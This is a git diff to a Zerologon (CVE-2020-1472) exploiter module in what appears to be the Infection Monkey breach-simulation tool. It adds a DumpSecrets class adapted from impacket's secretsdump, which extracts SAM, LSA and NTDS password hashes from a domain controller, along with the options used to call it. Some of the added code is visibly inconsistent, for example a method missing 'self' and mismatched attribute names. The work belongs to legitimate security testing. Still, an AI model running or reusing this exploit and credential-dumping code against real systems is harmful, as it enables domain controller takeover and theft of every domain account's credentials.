diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 684350947..c61657d2d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,19 +3,28 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ +from __future__ import division, print_function + +import argparse +import codecs import logging - -from impacket.dcerpc.v5 import epm, nrpc, transport - -from impacket.dcerpc.v5 import nrpc, epm -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5 import transport -from impacket import crypto -from impacket.dcerpc.v5.ndr import NDRCALL -import impacket - +import os +import re +import sys from binascii import hexlify, unhexlify -from Cryptodome.Cipher import DES, AES, ARC4 + +import impacket +from Cryptodome.Cipher import AES, ARC4, DES +from impacket import crypto, version +from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.ndr import NDRCALL +from impacket.examples import logger +from impacket.examples.secretsdump import (LocalOperations, LSASecrets, + NTDSHashes, RemoteOperations, + SAMHashes) +from impacket.krb5.keytab import Keytab +from impacket.smbconnection import SMBConnection from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger @@ -26,6 +35,33 @@ class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' MAX_ATTEMPTS = 2000 + OPTIONS_FOR_SECRETSDUMP =\ + { + 'aes_key': None, + 'bootkey': None, + 'dc_ip': None, + 'debug': False, + 'exec_method': 'smbexec', + 'hashes': None, + 'history': False, + 'just_dc': True, + 'just_dc_ntlm': False, + 'just_dc_user': None, + 'k': False, + 'keytab': None, + 'no_pass': True, + 'ntds': None, + 'outputfile': None, + 'pwd_last_set': False, + 'resumefile': None, + 'sam': None, + 'security': None, + 'system': None, + # target and target_ip are assigned in get_original_pwd_nthash() + 'ts': False, + 'use_vss': False, + 'user_status': False + } def __init__(self, host): super().__init__(host) @@ -65,7 +101,6 @@ class ZerologonExploiter(HostExploiter): LOG.info("Non-zero return code, something went wrong.") ## how do i execute monkey on the exploited machine? - ## restore password else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -101,8 +136,6 @@ class ZerologonExploiter(HostExploiter): return rpc_con.request(request) def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): - ## get nthash using secretsdump and then restore password - # Keep authenticating until successful. LOG.info("Restoring original password...") @@ -116,6 +149,21 @@ class ZerologonExploiter(HostExploiter): else: LOG.info("Failed to restore password.") + def get_original_pwd_nthash(DC_NAME, DC_IP): + OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1 + OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + + domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + OPTIONS_FOR_SECRETSDUMP['target']).groups('') + + # In case the password contains '@' + if '@' in remote_name: + password = password + '@' + remote_name.rpartition('@')[0] + remote_name = remote_name.rpartition('@')[2] + + dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP) + dumper.dump() + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(DC_IP) @@ -194,3 +242,209 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode', nrpc.NTSTATUS), ) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py +class DumpSecrets: + def __init__(self, remote_name, username='', password='', domain='', options=None): + self.__use_VSS_method = options['use_vss'] + self.__remote_name = remote_name + self.__remote_host = options['target_ip'] + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aes_key = options['aes_key'] + self.__smb_connection = None + self.__remote_ops = None + self.__SAM_hashes = None + self.__NTDS_hashes = None + self.__LSA_secrets = None + self.__system_hive = options['system'] + self.__bootkey = options['bootkey'] + self.__security_hive = options['security'] + self.__sam_hive = options['sam'] + self.__ntds_file = options['ntds'] + self.__history = options['history'] + self.__no_lmhash = True + self.__is_remote = True + self.__output_file_name = options['outputfile'] + self.__do_kerberos = options['k'] + self.__just_DC = options['just_dc'] + self.__just_DC_NTLM = options['just_dc_ntlm'] + self.__just_user = options['just_dc_user'] + self.__pwd_last_set = options['pwd_last_set'] + self.__print_user_status = options['user_status'] + self.__resume_file_name = options['resumefile'] + self.__can_process_SAM_LSA = True + self.__kdc_host = options['dc_ip'] + self.__options = options + + if options['hashes'] is not None: + self.__lmhash, self.__nthash = options['hashes'].split(':') + + def connect(self): + self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + if self.__do_kerberos: + self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aes_key, self.__kdc_host) + else: + self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def dump(self): + try: + if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + bootkey = binascii.unhexlify(self.__bootkey) + + else: + self.__is_remote = True + bootkey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__remote_ops.setExecMethod(self.__options['exec_method']) + if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() + except Exception as e: + self.__can_process_SAM_LSA = False + if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ + and self.__do_kerberos is True: + # Giving some hints here when SPN target name validation is set to something different to Off + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ + logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + + 'Try -just-dc-user') + else: + logging.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA: + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote) + self.__SAM_hashes.dump() + if self.__output_file_name is not None: + self.__SAM_hashes.export(self.__output_file_name) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, + isRemote=self.__is_remote, history=self.__history) + self.__LSA_secrets.dumpCachedHashes() + if self.__output_file_name is not None: + self.__LSA_secrets.exportCached(self.__output_file_name) + self.__LSA_secrets.dumpSecrets() + if self.__output_file_name is not None: + self.__LSA_secrets.exportSecrets(self.__output_file_name) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() + else: + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file + + self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history, + noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, + useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, + pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name, + outputFileName=self.__output_file_name, justUser=self.__just_user, + printUserStatus=self.__print_user_status) + try: + self.__NTDS_hashes.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + logging.error(e) + if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__use_VSS_method is False: + logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + while True: + answer = input("Delete resume session file? [y/N] ") + if answer.upper() == '': + answer = 'N' + break + elif answer.upper() == 'Y': + answer = 'Y' + break + elif answer.upper() == 'N': + answer = 'N' + break + if answer == 'Y': + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except: + pass + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remote_ops: + self.__remote_ops.finish() + if self.__SAM_hashes: + self.__SAM_hashes.finish() + if self.__LSA_secrets: + self.__LSA_secrets.finish() + if self.__NTDS_hashes: + self.__NTDS_hashes.finish()